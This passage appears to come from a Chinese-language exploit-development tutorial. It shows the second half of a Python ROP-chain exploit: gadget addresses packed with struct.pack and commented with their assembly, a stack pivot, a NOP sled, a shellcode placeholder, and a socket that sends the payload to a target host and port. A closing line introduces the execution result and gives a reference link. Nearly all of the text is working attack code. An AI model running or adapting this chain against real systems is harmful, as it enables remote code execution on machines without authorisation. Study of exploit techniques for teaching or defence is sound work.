struct.pack('<L',0x6ff7e29a)+ #0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
struct.pack('<L',0x41414141)+
struct.pack('<L',0x6ff7e29a)+ #0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
struct.pack('<L',0x41414141)+
struct.pack('<L',0x6ff7e29a)+ #0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
struct.pack('<L',0x41414141)+
struct.pack('<L',0x6ff7e29a)+ #0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
struct.pack('<L',0x41414141)+
struct.pack('<L',0x6ff7e29a)+ #0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
struct.pack('<L',0x41414141)+

# POP Gadget 10
struct.pack('<L',0x77f226c5)+ #0x77f226c5: inc edx ; ret ; (1 found)
struct.pack('<L',0x77f226c5)+
struct.pack('<L',0x77f226c5)+
struct.pack('<L',0x77f226c5)+

#POP Gadget 11
struct.pack('<L',0x77f5335f)+ #0x77f5335f: mov [edx], eax ; xor eax, eax ; ret ; (1 found)

#POP Gadget 12
struct.pack('<L',0x77f17bb2)+ #0x77f17bb2: add eax, 0x20 ; ret ; (1 found)
struct.pack('<L',0x77f17bb2)+

#POP Gadget 13
struct.pack('<L',0x77f226c5)+ #0x77f226c5: inc edx ; ret ; (1 found)
struct.pack('<L',0x77f226c5)+
struct.pack('<L',0x77f226c5)+
struct.pack('<L',0x77f226c5)+

#POP Gadget 14
struct.pack('<L',0x77f5335f)+ #0x77f5335f: mov [edx], eax ; xor eax, eax ; ret ; (1 found)

#POP Gadget 15
struct.pack('<L',0x77f42705)+ #0x77f42705: mov eax, ecx ; ret ; (1 found)

#POP Gadget 16
struct.pack('<L',0x41ac80db)+ #0x41ac80db: dec eax ; dec eax ; ret ; (1 found)
struct.pack('<L',0x41ac80db)+ #0x41ac80db: dec eax ; dec eax ; ret ; (1 found)

#POP Gadget 17
struct.pack('<L',0x77d3104a)+ #0x77d3104a: xchg eax, esp ; ret ; (1 found)
b"\x90"*256+
shellcode
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

最后,执行的结果如下:

ROP

参考:https://connormcgarr.github.io/ROP/